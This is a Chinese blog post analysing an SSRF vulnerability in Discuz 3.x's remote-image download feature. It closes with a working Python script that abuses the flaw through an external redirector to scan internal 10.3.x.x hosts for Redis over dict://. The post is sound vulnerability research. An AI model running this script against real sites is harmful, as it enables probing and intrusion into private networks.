discuz 3.x ssrf分析

discuz 3.x版本ssrf漏洞分析

  • 漏洞促发点\souce\module\forum\forum_ajax.php
    最后看到了这里
    $_GET['action']='downremoteimg'
    看名字看出应该是个远程下载图片的功能。
$_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']);
	preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER);
	$temp = $aids = $existentimg = array();
	if(is_array($image1) && !empty($image1)) {
		foreach($image1 as $value) {
			$temp[] = array(
				'0' => $value[0],
				'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
			);
		}
	}
  • preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放的是边界符里面的东西。本地测试一下
<?php 
$a="<script>alert('1')</script>";
preg_match_all("|<[^>]+>(.*)</[^>]+>|", $a, $array, PREG_SET_ORDER); 
print_r($array);
?>

输出

Array
(
    [0] => Array
        (
            [0] => <script>alert('1')</script>
            [1] => alert('1')
        )

)

  • 所以上面的代码$value[1]的值就是把边界去掉后中间的值。继续跟进的话看到了关键代码
foreach($temp as $value) {
			$imageurl = $value[1];
			$hash = md5($imageurl);
			//echo $imageurl;
			if(strlen($imageurl)) {
				$imagereplace['oldimageurl'][] = $value[0];
				if(!isset($existentimg[$hash])) {
					$existentimg[$hash] = $imageurl;
					$attach['ext'] = $upload->fileext($imageurl);
					echo $attach['ext'];
					if(!$upload->is_image_ext($attach['ext'])) {
						continue;
					}
					//echo $imageurl;
					$content = '';
					if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
						$content = dfsockopen($imageurl);

前面的fileext函数是匹配后缀必须为图片格式,下面看到了$content = dfsockopen($imageurl)我们跟进到这个函数,最后找到了这样的一段

function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0) {
	$return = '';
	$matches = parse_url($url);
	$scheme = $matches['scheme'];
	$host = $matches['host'];
	$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
	$port = !empty($matches['port']) ? $matches['port'] : 80;

	if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
		$ch = curl_init();
		$ip && curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: ".$host));
		curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).':'.$port.$path);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		if($post) {
			curl_setopt($ch, CURLOPT_POST, 1);
			if($encodetype == 'URLENCODE') {
				curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
			} else {
				parse_str($post, $postarray);
				curl_setopt($ch, CURLOPT_POSTFIELDS, $postarray);
			}
		}

import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import threading
import Queue

threads_count = 20
scheme = 'dict'
port = '6379'
ip_block = '10.3'
class WyWorker(threading.Thread):
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		global lock
		while True:
			if self.queue.empty():
				break
			try:
				url = self.queue.get_nowait()
				starttime = time.time()
				results= requests.get(url)
				if time.time() - starttime > 4:
					starttime2=time.time()
					res = requests.get(url)
					if time.time() - starttime2 > 4:
						lock.acquire()
						print url 
						lock.release()
			except requests.exceptions.ReadTimeout:
				pass
			except requests.exceptions.ConnectTimeout:
				pass
			except Exception, e:
				break

if __name__ == "__main__":
	queue = Queue.Queue()
	global lock
	lock = threading.Lock()
	for c in xrange(0,255):
		for d in xrange(0,255):
			ip = '{0}.{1}.{2}'.format(ip_block,c,d)
			payload = 'http://115.159.115.41:2333/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(scheme=scheme,ip=ip,port=port)
			url = "http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(payload=payload)
			queue.put(url)
	threads = []
	for i in xrange(threads_count):
		threads.append(WyWorker(queue))
	for t in threads:
		t.start()
	for t in threads:
		t.join()

其实这次自己审这个洞,发现还是熟悉各种漏洞的成因,注意用户的输入。这方面必须加强。

posted @ 2017-10-12 14:55  wangshu  阅读(1780)  评论(0编辑  收藏  举报